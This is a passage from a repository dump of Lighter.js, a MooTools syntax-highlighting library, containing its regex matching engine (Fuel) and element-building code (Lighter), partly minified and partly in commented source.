Hash({standard:this.findMatches,lazy:this.findMatchesLazy});if(!j.strict){if(this.delimiters.start){this.addFuel(\"delimBeg\",this.delimiters.start,\"de1\")}if(this.delimiters.end){this.addFuel(\"delimEnd\",this.delimiters.end,\"de2\")}}this.keywords.each(function(l,k){if(l.csv!=\"\"){this.addFuel(k,this.csvToRegExp(l.csv,l.mod||\"g\"),l.alias)}},this);this.patterns.each(function(k,l){this.addFuel(l,k.pattern,k.alias)},this);var h=0,b=this.code.length,d=\"\",c=this.delimiters,g=[],f=null,e=null;if(!j.strict){Object.append(g,this.builder[j.matchType].pass(this.code,this)())}else{if(c.start&&c.end){while((f=c.start.exec(this.code))!=null){c.end.lastIndex=c.start.lastIndex;if((e=c.end.exec(this.code))!=null){g.push(new Wick(f[0],\"de1\",f.index));h=c.start.lastIndex;b=e.index-1;d=this.code.substring(h,b);g.extend(this.builder[j.matchType].pass([d,h],this)());g.push(new Wick(e[0],\"de2\",e.index))}}}}this.wicks=g},addFuel:function(c,a,b){this.rules[c]=a;this.addAlias(c,b)},addAlias:function(b,a){this.aliases[b]=a||b},csvToRegExp:function(a,b){return new RegExp(\"\\\\b(\"+a.replace(/,\\s*/g,\"|\")+\")\\\\b\",b)},delimToRegExp:function(d,b,a,e,f){d=d.escapeRegExp();if(b){b=b.escapeRegExp()}a=(a)?a.escapeRegExp():d;var c=(b)?d+\"[^\"+a+b+\"\\\\n]*(?:\"+b+\".[^\"+a+b+\"\\\\n]*)*\"+a:d+\"[^\"+a+\"\\\\n]*\"+a;return new RegExp(c+(f||\"\"),e||\"\")},strictRegExp:function(){var b=\"(\";for(var a=0;a<arguments.length;a++){b+=arguments[a].escapeRegExp();b+=(a<arguments.length-1)?\"|\":\"\"}b+=\")\";return new RegExp(b,\"gim\")},findMatches:function(d,f){var b=[],e=0,a=d.length;insertIndex=0,match=null,type=null,newWick=null,rule=null,rules={},currentMatch=null,futureMatch=null;f=f||0;this.rules.each(function(g,h){rules[h]={pattern:g,nextIndex:0}},this);while(e<d.length){a=d.length;match=null;for(rule in rules){rules[rule].pattern.lastIndex=e;currentMatch=rules[rule].pattern.exec(d);if(currentMatch===null){delete rules[rule]}else{if(currentMatch.index<a||(currentMatch.index==a&&match[0].length<currentMatch[0].length)){match=currentMatch;type=rule;a=currentMatch.index}rules[rule].nextIndex=rules[rule].pattern.lastIndex-currentMatch[0].length}}if(match!=null){index=(match[1]&&match[0].contains(match[1]))?match.index+match[0].indexOf(match[1]):match.index;newWick=new Wick(match[1]||match[0],type,index+f);b.push(newWick);futureMatch=rules[type].pattern.exec(d);if(!futureMatch){rules[type].nextIndex=d.length}else{rules[type].nextIndex=rules[type].pattern.lastIndex-futureMatch[0].length}var c=d.length;for(rule in rules){if(rules[rule].nextIndex<c){c=rules[rule].nextIndex}}e=Math.max(c,newWick.end-f)}else{break}}return b},findMatchesLazy:function(c,d){var a=this.wicks,b=null;index=0;d=d||0;this.rules.each(function(e,f){while((b=e.exec(c))!=null){index=(b[1]&&b[0].contains(b[1]))?b.index+b[0].indexOf(b[1]):b.index;a.push(new Wick(b[1]||b[0],f,index+d))}},this);return this.purgeWicks(a)},purgeWicks:function(a){a=a.sort(this.compareWicks);for(var c=0,b=0;c<a.length;c++){if(a[c]==null){continue}for(b=c+1;b<a.length&&a[c]!=null;b++){if(a[b]==null){continue}else{if(a[b].isBeyond(a[c])){break}else{if(a[b].overlaps(a[c])){a[c]=null}else{if(a[c].contains(a[b])){a[b]=null}}}}}}return a.clean()},compareWicks:function(b,a){return b.index-a.index}});Fuel.standard=new Class({Extends:Fuel,initialize:function(c,b,a){this.parent(c,b,a)}});var Wick=new Class({initialize:function(b,c,a){this.text=b;this.type=c;this.index=a;this.length=this.text.length;this.end=this.index+this.length},contains:function(a){return(a.index>=this.index&&a.index<this.end)},isBeyond:function(a){return(this.index>=a.end)},overlaps:function(a){return(this.index==a.index&&this.length>a.length)},toString:function(){return this.index+\" - \"+this.text+\" - \"+this.end}});", "Source/Fuel.js": "/*\n---\ndescription: Code parsing engine for Lighter.\n\nlicense: MIT-style\n\nauthors:\n- Jose Prado\n\nrequires:\n  core/1.2.4: '*'\n\nprovides: [Fuel]\n\n...\n*/\nvar Fuel = new Class({\n\t\n\tImplements: [Options],\n\toptions: {\n\t\tmatchType: \"standard\",\n\t\tstrict: false\n\t},\n\tlanguage: '',\n\t\n\tpatterns: new Hash(),\n\tkeywords: new Hash(),\n\tdelimiters: new Hash({\n\t\tstart: null,\n\t\tend: null\n\t}),\n\n\t/************************\n\t * Common Regex Rules\n\t ***********************/\n\tcommon: {\t\n\t\tslashComments: /(?:^|[^\\\\])\\/\\/.*$/gm, // Matches a C style single-line comment.\n\t\tpoundComments: /#.*$/gm,               // Matches a Perl style single-line comment.\n\t\tmultiComments: /\\/\\*[\\s\\S]*?\\*\\//gm,   // Matches a C style multi-line comment.\n\t\taposStrings:   /'[^'\\\\]*(?:\\\\.[^'\\\\]*)*'/gm, // Matches a string enclosed by single quotes. Legacy.\n\t\tquotedStrings: /\"[^\"\\\\]*(?:\\\\.[^\"\\\\]*)*\"/gm, // Matches a string enclosed by double quotes. Legacy.\n\t\tmultiLineSingleQuotedStrings: /'[^'\\\\]*(?:\\\\.[^'\\\\]*)*'/gm, // Matches a string enclosed by single quotes across multiple lines.\n\t\tmultiLineDoubleQuotedStrings: /\"[^\"\\\\]*(?:\\\\.[^\"\\\\]*)*\"/gm, // Matches a string enclosed by double quotes across multiple lines.\n\t\tmultiLineStrings:   /'[^'\\\\]*(?:\\\\.[^'\\\\]*)*'|\"[^\"\\\\]*(?:\\\\.[^\"\\\\]*)*\"/gm, // Matches both.\n\t\tsingleQuotedString: /'[^'\\\\\\r\\n]*(?:\\\\.[^'\\\\\\r\\n]*)*'/gm, // Matches a string enclosed by single quotes.\n\t\tdoubleQuotedString: /\"[^\"\\\\\\r\\n]*(?:\\\\.[^\"\\\\\\r\\n]*)*\"/gm, // Matches a string enclosed by double quotes.\n\t\tstrings: /'[^'\\\\\\r\\n]*(?:\\\\.[^'\\\\\\r\\n]*)*'|\"[^\"\\\\\\r\\n]*(?:\\\\.[^\"\\\\\\r\\n]*)*\"/gm, // Matches both.\n\t\tproperties:    /\\.([\\w]+)\\s*/gi,     // Matches a property: .property style.\n\t\tmethodCalls:   /\\.([\\w]+)\\s*\\(/gm,   // Matches a method call: .methodName() style.\n\t\tfunctionCalls: /\\b([\\w]+)\\s*\\(/gm,   // Matches a function call: functionName() style.\n\t\tbrackets:      /\\{|\\}|\\(|\\)|\\[|\\]/g, // Matches any of the common brackets.\n\t\tnumbers:       /\\b((?:(\\d+)?\\.)?[0-9]+|0x[0-9A-F]+)\\b/gi // Matches integers, decimals, hexadecimals.\n\t},\n\t\n\t/************************\n\t * Fuel Constructor\n\t ***********************/\n\tinitialize: function(code, options, wicks) {\n\t\tthis.setOptions(options);\n\t\tthis.wicks = wicks || [];\n\t\tthis.code = code;\n\t\tthis.aliases = $H();\n\t\tthis.rules = $H();\n\t\t\n\t\t// Set builder object for matchType.\n\t\tthis.builder = new Hash({\n\t\t\t'standard': this.findMatches,\n\t\t\t'lazy':     this.findMatchesLazy\n\t\t});\n\t\t\n\t\t// Add delimiter rules if not in strict mode\n\t\tif (!options.strict) {\n\t\t\tif (this.delimiters.start) this.addFuel('delimBeg', this.delimiters.start, 'de1');\n\t\t\tif (this.delimiters.end)   this.addFuel('delimEnd', this.delimiters.end,   'de2');\n\t\t}\n\t\t\n\t\t// Set Keyword Rules from this.keywords object.\n\t\tthis.keywords.each(function(keywordSet, ruleName) {\n\t\t\tif (keywordSet.csv != '') {\n\t\t\t\tthis.addFuel(ruleName, this.csvToRegExp(keywordSet.csv, keywordSet.mod || \"g\"), keywordSet.alias);\n\t\t\t}\n\t\t}, this);\n\t\t\n\t\t// Set Rules from this.patterns object.\n\t\tthis.patterns.each(function(regex, ruleName) {\n\t\t\tthis.addFuel(ruleName, regex.pattern, regex.alias);\n\t\t}, this);\n\t\t\n\t\t/** Process source code based on match type. */\n\t\tvar codeBeg = 0,\n\t\t    codeEnd = this.code.length,\n\t\t    codeSeg = '',\n\t\t    delim   = this.delimiters,\n\t\t    matches = [],\n\t\t    match   = null,\n\t\t    endMatch = null;\n\t\t\n\t\tif (!options.strict) {\n\t\t\t// Find matches through the complete source code.\n            Object.append(matches, this.builder[options.matchType].pass(this.code, this)());\n\t\t} else if (delim.start && delim.end) {\n\t\t\t// Find areas between language delimiters and find matches there.\n\t\t\twhile ((match = delim.start.exec(this.code)) != null ) {\n\t\t\t\tdelim.end.lastIndex = delim.start.lastIndex;\n\t\t\t\tif ((endMatch = delim.end.exec(this.code)) != null ) {\n\t\t\t\t\tmatches.push(new Wick(match[0], 'de1', match.index));\n\t\t\t\t\tcodeBeg = delim.start.lastIndex;\n\t\t\t\t\tcodeEnd = endMatch.index-1;\n\t\t\t\t\tcodeSeg = this.code.substring(codeBeg, codeEnd);\n\t\t\t\t\tmatches.extend(this.builder[options.matchType].pass([codeSeg, codeBeg], this)());\n\t\t\t\t\tmatches.push(new Wick(endMatch[0], 'de2', endMatch.index));\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tthis.wicks = matches;\n\t},\n\t\n\t/************************\n\t * Regex Helper methods.\n\t ***********************/\n\taddFuel: function(fuelName, RegEx, className) {\n\t\tthis.rules[fuelName] = RegEx;\n\t\tthis.addAlias(fuelName, className);\n\t},\n\taddAlias: function(key, alias) { this.aliases[key] = alias || key; },\n\tcsvToRegExp: function(csv, mod) {return new RegExp('\\\\b(' + csv.replace(/,\\s*/g, '|') + ')\\\\b', mod);},\n\tdelimToRegExp: function(beg, esc, end, mod, suffix) {\n\t\tbeg = beg.escapeRegExp();\n\t\tif (esc) esc = esc.escapeRegExp();\n\t\tend = (end) ? end.escapeRegExp() : beg;\n\t\tvar pat = (esc) ? beg+\"[^\"+end+esc+'\\\\n]*(?:'+esc+'.[^'+end+esc+'\\\\n]*)*'+end : beg+\"[^\"+end+'\\\\n]*'+end;\n\t\treturn new RegExp(pat+(suffix || ''), mod || '');\n\t},\n\tstrictRegExp: function() {\n\t\tvar regex = '(';\n\t\tfor (var i = 0; i < arguments.length; i++) {\n\t\t\tregex += arguments[i].escapeRegExp();\n\t\t\tregex += (i < arguments.length - 1) ? '|' : '';\n\t\t}\n\t\tregex += ')';\n\t\treturn new RegExp(regex, \"gim\");\n\t},\n\t\n\t/************************\n\t * Match finding Methods\n\t ***********************/\n\tfindMatches: function(code, offset) {\n\t\tvar wicks       = [],\n\t\t    startIndex  = 0,\n\t\t    matchIndex  = code.length\n\t\t    insertIndex = 0,\n\t\t    match      = null,\n\t\t    type       = null,\n\t\t    newWick    = null,\n\t\t    rule       = null,\n\t\t    rules      = {},\n\t\t    currentMatch = null,\n\t\t    futureMatch  = null;\n\t\t\n\t\toffset = offset || 0;\n\t\t\n\t\t// Create assosciative array of rules for faster access via for...in loop instead of .each().\n\t\tthis.rules.each(function(regex, rule) {\n\t\t\trules[rule] = {pattern: regex, nextIndex: 0};\n\t\t}, this);\n\t\t\t\n\t\t/**\n\t\t * Step through the source code sequentially finding the left-most/earliest matches and then\n\t\t * continuing beyond the end of that match to prevent parser from adding inner matches.\n\t\t */\n\t\twhile(startIndex < code.length) {\n\t\t\tmatchIndex = code.length;\n\t\t\tmatch      = null;\n\t\t\t\n\t\t\t// Apply each rule at the current startIndex.\n\t\t\tfor (rule in rules) {\n\t\t\t\trules[rule].pattern.lastIndex = startIndex;\n\t\t\t\tcurrentMatch = rules[rule].pattern.exec(code);\n\t\t\t\tif (currentMatch === null) {\n\t\t\t\t\t// Delete rule if there's no matches.\n\t\t\t\t\tdelete rules[rule];\n\t\t\t\t} else {\n\t\t\t\t\t// Find earliest and longest match, then store relevant info.\n\t\t\t\t\tif (currentMatch.index < matchIndex || (currentMatch.index == matchIndex && match[0].length < currentMatch[0].length)) {\n\t\t\t\t\t\tmatch      = currentMatch;\n\t\t\t\t\t\ttype       = rule;\n\t\t\t\t\t\tmatchIndex = currentMatch.index;\n\t\t\t\t\t}\n\t\t\t\t\t// Store index of rules' next match in nextIndex property.\n\t\t\t\t\trules[rule].nextIndex = rules[rule].pattern.lastIndex - currentMatch[0].length;\n\t\t\t\t}\n\t\t\t}\n\t\t\t/* Create a new Wick out of found match. Otherwise break out of loop since no\n\t\t\t   matches are left. */\n\t\t\tif (match != null) {\n\t\t\t\n\t\t\t\t// If $1 capture group exists, use $1 instead of full match.\n\t\t\t\tindex = (match[1] && match[0].contains(match[1])) ? match.index + match[0].indexOf(match[1]) : match.index;\n\t\t\t\tnewWick = new Wick(match[1] || match[0], type, index+offset);\n\t\t\t\twicks.push(newWick);\n\t\t\t\t\n\t\t\t\t/* Find the next match of current rule and store its index. If not done, the nextIndex\n\t\t\t\t   would be at the start of current match, thus creating an infinite loop*/\n\t\t\t\tfutureMatch = rules[type].pattern.exec(code);\n\t\t\t\tif (!futureMatch) {\n\t\t\t\t\trules[type].nextIndex = code.length;\n\t\t\t\t} else {\n\t\t\t\t\trules[type].nextIndex = rules[type].pattern.lastIndex - futureMatch[0].length;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t// Cycle through \"nextIndex\" properties and store earliest position in min variable.\n\t\t\t\tvar min = code.length;\n\t\t\t\tfor (rule in rules) {\n\t\t\t\t\tif (rules[rule].nextIndex < min) {\n\t\t\t\t\t\tmin = rules[rule].nextIndex;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t/* Set startIndex to the end of current match if min is located behind it. Normally this\n\t\t\t\t   would signal an inner match. Future upgrades should do this test in the min loop\n\t\t\t\t   in order to find the actual earliest match. */\n\t\t\t\tstartIndex = Math.max(min, newWick.end - offset);\n\t\t\t} else {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\treturn wicks;\n\t},\n\t/* Brute force the matches by finding all possible matches from all rules. Then we sort them\n\t   and cycle through the matches finding and eliminating inner matches. Faster than findMatches,\n\t   but less robust and prone to erroneous matches. */\n\tfindMatchesLazy: function(code, offset) {\n\t\tvar wicks = this.wicks,\n\t\t    match = null\n\t\t    index = 0;\n\t\t\n\t\toffset = offset || 0;\n\t\t\n\t\tthis.rules.each(function(regex, rule) {\n\t\t\twhile ((match = regex.exec(code)) != null) {\n\t\t\t\tindex = (match[1] && match[0].contains(match[1])) ? match.index + match[0].indexOf(match[1]) : match.index;\n\t\t\t\twicks.push(new Wick(match[1] || match[0], rule, index + offset));\n\t\t\t}\n\t\t}, this);\n\t\treturn this.purgeWicks(wicks);\n\t},\n\tpurgeWicks: function(wicks) {\n\t\twicks = wicks.sort(this.compareWicks);\n\t\tfor (var i = 0, j = 0; i < wicks.length; i++) {\n\t\t\tif (wicks[i] == null) continue;\n\t\t\tfor (j = i+1; j < wicks.length && wicks[i] != null; j++) {\n\t\t\t\tif      (wicks[j] == null)            {continue;}\n\t\t\t\telse if (wicks[j].isBeyond(wicks[i])) {break;}\n\t\t\t\telse if (wicks[j].overlaps(wicks[i])) {wicks[i] = null;}\n\t\t\t\telse if (wicks[i].contains(wicks[j])) {wicks[j] = null;}\n\t\t\t}\n\t\t}\n\t\treturn wicks.clean();\n\t},\n\tcompareWicks: function(wick1, wick2) {return wick1.index - wick2.index;}\n});\n\nFuel.standard = new Class({ Extends: Fuel, initialize: function(code, options, wicks) { this.parent(code, options, wicks); } });\n\nvar Wick = new Class({\n\n\tinitialize: function(match, type, index) {\n\t\tthis.text   = match;\n\t\tthis.type   = type;\n\t\tthis.index  = index;\n\t\tthis.length = this.text.length;\n\t\tthis.end    = this.index + this.length;\n\t},\n\tcontains: function(wick) { return (wick.index >= this.index && wick.index < this.end); },\n\tisBeyond: function(wick) { return (this.index >= wick.end); },\n\toverlaps: function(wick) { return (this.index == wick.index && this.length > wick.length); },\n\ttoString: function() { return this.index+' - '+this.text+' - '+this.end; }\n});\n", "Source/Lighter.js": "/*\n---\ndescription: Builds and displays an element containing highlighted code bits.\n\nlicense: MIT-style\n\nauthors:\n- Jose Prado\n\nrequires:\n  core/1.3: '*'\n\nprovides: [Lighter]\n\n...\n*/\n(function() {\n\tLighter = new Class({\t\n\t\t\n\t\tImplements: [Options],\n\t\tname: 'Lighter',\n\t\t\n\t\toptions: {\n\t\t\taltLines: '', // Pseudo-selector enabled.\n\t\t\tclipboard: null,\n\t\t\tcontainer: null,\n\t\t\teditable: false,\n\t\t\tflame: 'standard',\n\t\t\tfuel:  'standard',\n\t\t\tid: null,\n\t\t\tindent: -1,\n\t\t\tmatchType: \"standard\",\n\t\t\tmode: \"pre\",\n\t\t\tpath: null,\n\t\t\tstrict: false\n\t\t},\n\t\n\t\tinitialize: function(codeblock, options) {\n\t\t\tthis.setOptions(options);\n\t\t\tthis.id = this.options.id || this.name + '_' + Date.now();\n\t\t\tthis.codeblock = $(codeblock);\n\t\t\tthis.container = $(this.options.container);\n\t\t\tthis.code = chop(this.codeblock.get('html')).replace(/&lt;/gim, '<').replace(/&gt;/gim, '>').replace(/&amp;/gim, '&');\n\t\t\n\t\t\t// Indent code if user option is set.\n\t\t\tif (this.options.indent > -1) { this.code = tabToSpaces(this.code, this.options.indent); }\n\t\t\n\t\t\t// Figure out path based on script location of Lighter.js or option passed in.\n\t\t\tthis.getPath();\n\t\t\t\n\t\t\t// Extract fuel/flame names. Precedence: className > options > 'standard'.\n\t\t\tthis.getClass();\n\t\t\t\n\t\t\t// Set builder options.\n\t\t\tthis.builder = new Hash({\n\t\t\t\t'inline': this.createLighter.pass('code', this),\n\t\t\t\t'pre':    this.createLighter.pass('pre', this),\n\t\t\t\t'ol':     this.createLighterWithLines.pass([['ol'], ['li']], this),\n\t\t\t\t'div':    this.createLighterWithLines.pass([['div'], ['div', 'span'], true, 'span'], this),\n\t\t\t\t'table':  this.createLighterWithLines.pass([['table', 'tbody'], ['tr', 'td'], true, 'td'], this)\n\t\t\t});\n\t\t\n\t\t\t// Initialize caches\n\t\t\tLighter.scripts     = Lighter.scripts || {};\n\t\t\tLighter.stylesheets = Lighter.stylesheets || {};\n\t\t\n\t\t\t// Load fuel/flame to start chain of loads.\n\t\t\tthis.loadStylesheet(this.options.flame, 'Flame.'+this.options.flame+'.css');\n\t\t\tthis.loadFuel();\n\t\t},\n\t\t\n\t\tloadFuel: function() {\n\t\t\ttry {\n\t\t\t\tthis.fuel = new Fuel[this.options.fuel](this.code, {\n\t\t\t\t\tmatchType: this.options.matchType,\n\t\t\t\t\tstrict: this.options.strict\n\t\t\t\t});\n\t\t\t\tthis.light();\n\t\t\t} catch (e) {\n\t\t\t\tthis.loadScript(this.options.fuel, 'Fuel.'+this.options.fuel+'.js', {\n\t\t\t\t\t'load': this.loadFuel.bind(this),\n\t\t\t\t\t'error': function() { this.options.fuel = 'standard'; this.loadFuel(); }.bind(this)\n\t\t\t\t});\n\t\t\t}\n\t\t},\n\t\t\n\t\tlight: function() {\n\t\t\t// Build highlighted code object.\n\t\t\tthis.element = this.toElement();\n\t\t\n\t\t\t// Insert lighter in the right spot.\n\t\t\tif (this.container) {\n\t\t\t\tthis.container.empty();\n\t\t\t\tthis.element.inject(this.container);\n\t\t\t} else {\n\t\t\t\tthis.codeblock.setStyle('display', 'none');\n\t\t\t\tthis.element.inject(this.codeblock, 'after');\n\t\t\t\tif (this.options.clipboard) { this.loadClipboard(); }\n\t\t\t}\n\t\t},\n\t\t\n\t\tunlight: function() {\n\t\t\t$(this).setStyle('display', 'none');\n\t\t\tthis.codeblock.setStyle('display', 'inherit');\n\t\t},\n\t\t\n\t\tloadClipboard: function() {\n\t\t\ttry {\n\t\t\t\tvar clip = new ZeroClipboard.Client();\n\t\t\t\tclip.setPath(this.options.path);\n\t\t\t\tclip.glue($(this.options.clipboard));\n\t\t\t\tclip.setText(this.code);\n\t\t\t\tclip.addEventListener('complete', function(client, text) {\n\t\t        alert(\"Copied text to clipboard:\\n\" + text);\n\t\t    });\n\t\t\t} catch (e) {\n\t\t\t\tthis.loadScript('clipboard', 'ZeroClipboard.js', {\n\t\t\t\t\t'load': this.loadClipboard.bind(this),\n\t\t\t\t\t'error': Function.from()\n\t\t\t\t});\n\t\t\t\treturn false;\n\t\t\t}\n\t\t},\n\t\t\n\t\t/* ----------------------------------- */\n\t\t/* ---->>> INIT HELPER METHODS <<<---- */\n\t\t/* ----------------------------------- */\n\t\tgetPath: function() {\n\t\t  if (!Lighter.path) {\n\t\t      $$('head script').each(function(el) {\n\t\t          var script  = el.src.split('?', 1),\n\t\t              pattern = /Lighter(\\.full|\\.lite)?\\.js$/gi;\n\t\t          if (script[0].match(pattern)) {\n\t\t              Lighter.path = script[0].replace(pattern, '');\n\t\t          }\n\t\t      })\n\t\t  }\n\t\t  if (!this.options.path) { this.options.path = Lighter.path; }\n\t\t},\n\t\t\n\t\tgetClass: function() {\n            var classNames = this.codeblock.get('class').split(' '),\n                ff = [null, null];\n            switch (classNames.length) {\n                case 0: // No language! Simply wrap in Lighter.js standard Fuel/Flame.\n\t\t\t\t\tbreak;\n\t\t\t\tcase 1: // Single class, assume this is the fuel/flame\n\t\t\t\t\tff = classNames[0].split(':');\n\t\t\t\t\tbreak;\n\t\t\t\tdefault: // More than one class, let's give the first one priority for now.\n\t\t\t\t\tff = classNames[0].split(':');\n            }\n            \n            if (ff[0]) { this.options.fuel  = ff[0]; }\n            if (ff[1]) { this.options.flame = ff[1]; }\n\t\t},\n\t\t\n\t\tloadScript: function(holder, fileName, events) {\n\t\t\tif (Lighter.scripts[holder] != undefined) {\n\t\t\t\tLighter.scripts[holder].addEvents({\n\t\t\t\t\tload: events.load,\n\t\t\t\t\terror: events.error,\n\t\t\t\t\treadystatechange: function() {\n\t\t\t\t\t\tif (['loaded', 'complete'].contains(this.readyState)) events.load();\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t} else {\n\t\t\t\tLighter.scripts[holder] = new Element('script', {\n\t\t\t\t\t'src': this.options.path+fileName+'?'+Date.now(),\n\t\t\t\t\t'type': 'text/javascript',\n\t\t\t\t\t'events': {\n\t\t\t\t\t\tload: events.load,\n\t\t\t\t\t\terror: events.error,\n\t\t\t\t\t\treadystatechange: function() {\n\t\t\t\t\t\t\tif (['loaded', 'complete'].contains(this.readyState)) events.load();\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}).inject(document.head);\n\t\t\t}\n\t\t},\n\t\t\n\t\tloadStylesheet: function(holder, fileName) {\n\t\t\tif (!Lighter.stylesheets[holder]) {\n\t\t\t\tLighter.stylesheets[holder] = new Element('link', {\n\t\t\t\t\trel: \"stylesheet\",\n\t\t\t\t\ttype: \"text/css\",\n\t\t\t\t\tmedia: \"screen\",\n\t\t\t\t\thref: this.options.path+fileName+'?'+Date.now()\n\t\t\t\t}).inject(document.head);\n\t\t\t}\n\t\t},\n\t\t\n\t\t/* ----------------------------------- */\n\t\t/* -->>> ELEMENT CREATE METHODS <<<--- */\n\t\t/* ----------------------------------- */\n\t\tcreateLighter: function(parent) {\n\t\t\tvar lighter = new Element(parent, { 'class': this.options.flame + this.name }),\n\t\t\t    pointer = 0;\n\t\t    \n\t\t\t// If no matches were found, insert code plain text.\n\t\t\tif (this.fuel.wicks[0] == undefined) {\n\t\t\t\tlighter.appendText(this.code);\n\t\t\t} else {\n\t\t\n\t\t\t\t// Step through each match and add unmatched + matched bits to lighter.\n\t\t\t\tthis.fuel.wicks.each(function(match) {\n\t\t\t\t\tlighter.appendText(this.code.substring(pointer, match.index));\n\t\t\t\t\n\t\t\t\t\tthis.insertAndKeepEl(lighter, match.text, match.type);\n\t\t\t\t\tpointer = match.index + match.text.length;\n\t\t\t\t}, this);\n\t\t\t\n\t\t\t\t// Add last unmatched code segment if it exists.\n\t\t\t\tif (pointer < this.code.length) {\n\t\t\t\t\tlighter.appendText(this.code.substring(pointer, this.code.length));\n\t\t\t\t}\n\t\t\t}\n\t\t\n\t\t\t//lighter.set('text', lighter.get('html'));\n\t\t\treturn lighter;\n\t\t},\n\t\t\n\t\tcreateLighterWithLines: function(parent, child, addLines, numType) {\n\t\t\tvar lighter = new Element(parent[0], { 'class': this.options.flame + this.name, 'id': this.id }),\n\t\t\t    newLine = new Element(child[0]),\n\t\t\t    lineNum = 1,\n\t\t\t    pointer = 0,\n\t\t\t    text = null;\n\t\t\n\t\t\t// Small hack to ensure tables have no ugly styles.\n\t\t\tif (parent[0] == \"table\") { lighter.set(\"cellpadding\", 0).set(\"cellspacing\", 0).set(\"border\", 0); }\n\t\t\n\t\t\t/* If lines need to be wrapped in an inner parent, create that element\n\t\t\t   with this test. (E.g, tbody in a table) */\n\t\t\tif (parent[1]) { lighter = new Element(parent[1]).inject(lighter); }\n\t\t\n\t\t\t/* If code needs to be wrapped in an inner child, create that element\n\t\t\t   with this test. (E.g, tr to contain td) */\n\t\t\tif (child[1]) { newLine = new Element(child[1]).inject(newLine); }\n\t\t\tnewLine.addClass(this.options.flame + 'line');\n\t\t\tif (addLines) { lineNum = this.insertLineNum(newLine, lineNum, numType); }\n\n\t\t\t// Step through each match and add matched/unmatched bits to lighter.\n\t\t\tthis.fuel.wicks.each(function(match) {\n\t\t\n\t\t\t\t// Create and insert un-matched source code bits.\n\t\t\t\tif (pointer != match.index) {\n\t\t\t\t\ttext = this.code.substring(pointer, match.index).split(\"\\n\");\n\t\t\t\t\tfor (var i = 0; i < text.length; i++) {\n\t\t\t\t\t\tif (i < text.length - 1) {\n\t\t\t\t\t\t\tif (text[i] === '') { text[i] = ' '; }\n\t\t\t\t\t\t\tnewLine = this.insertAndMakeEl(newLine, lighter, text[i], child);\n\t\t\t\t\t\t\tif (addLines) { lineNum = this.insertLineNum(newLine, lineNum, numType); }\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tthis.insertAndKeepEl(newLine, text[i]);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\n\t\t\t\t// Create and insert matched symbol.\n\t\t\t\ttext = match.text.split('\\n');\n\t\t\t\tfor (var i = 0; i < text.length; i++) {\n\t\t\t\t\tif (i < text.length - 1) {\n\t\t\t\t\t\tnewLine = this.insertAndMakeEl(newLine, lighter, text[i], child, match.type);\n\t\t\t\t\t\tif (addLines) { lineNum = this.insertLineNum(newLine, lineNum, numType); }\n\t\t\t\t\t} else {\n\t\t\t\t\t\tthis.insertAndKeepEl(newLine, text[i], match.type);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\n\t\t\t\tpointer = match.end;\n\t\t\t}, this);\n\t\t\n\t\t\t// Add last unmatched code segment if it exists.\n\t\t\tif (pointer <= this.code.length) {\n\t\t\t\ttext = this.code.substring(pointer, this.code.length).split('\\n');\n\t\t\t\tfor (var i = 0; i < text.length; i++) {\n\t\t\t\t\tnewLine = this.insertAndMakeEl(newLine, lighter, text[i], child);\n\t\t\t\t\tif (addLines) { lineNum = this.insertLineNum(newLine, lineNum, numType); }\n\t\t\t\t}\n\t\t\t}\n\t\t\n\t\t\t// Add alternate line styles based on pseudo-selector.\n\t\t\tif (this.options.altLines !== '') {\n\t\t\t\tif (this.options.altLines == 'hover') {\n\t\t\t\t\tlighter.getElements('.'+this.options.flame+'line').addEvents({\n\t\t\t\t\t\t\t'mouseover': function() {this.toggleClass('alt');},\n\t\t\t\t\t\t\t'mouseout':  function() {this.toggleClass('alt');}\n\t\t\t\t\t});\n\t\t\t\t} else {\n\t\t\t\t\tif (child[1]) {\n\t\t\t\t\t\tlighter.getChildren(':'+this.options.altLines).getElement('.'+this.options.flame+'line').addClass('alt');\n\t\t\t\t\t} else {\n\t\t\t\t\t\tlighter.getChildren(':'+this.options.altLines).addClass('alt');\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\n\t\t\t// Add first/last line classes to correct element based on mode.\n\t\t\tif (child[1]) {\n\t\t\t\tlighter.getFirst().getChildren().addClass(this.options.flame+'first');\n\t\t\t\tlighter.getLast().getChildren().addClass(this.options.flame+'last');\n\t\t\t} else {\n\t\t\t\tlighter.getFirst().addClass(this.options.flame+'first');\n\t\t\t\tlighter.getLast().addClass(this.options.flame+'last');\n\t\t\t}\n\t\t\n\t\t\t// Ensure we return the real parent, not just an inner element like a tbody.\n\t\t\tif (parent[1]) { lighter = lighter.getParent(); }\n\t\t\treturn lighter;\n\t\t},\n\t\t\n\t\t/** Helper function to insert new code segment into existing line. */\n\t\tinsertAndKeepEl: function(el, text, alias) {\n\t\t\tif (text.length > 0) {\n\t\t\t\tvar span = new Element('span', { 'text': text });\n\t\t\t\tif (alias) {\n\t\t\t\t\tspan.addClass(this.fuel.aliases[alias] || alias);\n\t\t\t\t}\n\t\t\t\tspan.inject(el);\n\t\t\t}\n\t\t},\n\t\t\n\t\t/** Helper function to insert new code segment into existing line and create new line. */\n\t\tinsertAndMakeEl: function(el, group, text, child, alias) {\n\t\t\tthis.insertAndKeepEl(el, text, alias);\n\t\t\tif (child[1]) { el = el.getParent(); }\n\t\t\tel.inject(group);\n\t\t\n\t\t\tvar newLine = new Element(child[0]);\n\t\t\tif (child[1]) { newLine = new Element(child[1]).inject(newLine); }\n\t\t\tnewLine.addClass(this.options.flame+'line');\n\t\t\treturn newLine;\n\t\t},\n\t\t\n\t\t/** Helper funciton to insert line number into line. */\n\t\tinsertLineNum: function(el, lineNum, elType) {\n\t\t\tvar newNum = new Element(elType, {\n\t\t\t\t'text':  lineNum++,\n\t\t\t\t'class': this.options.flame+ 'num'\n\t\t\t});\n\t\t\tnewNum.inject(el.getParent(), 'top');\n\t\t\n\t\t\treturn lineNum;\n\t\t},\n\t\n\t\t/* ----------------------------------- */\n\t\t/* ------>>> toType METHODS <<<------- */\n\t\t/* ----------------------------------- */\n\t\ttoElement: function() 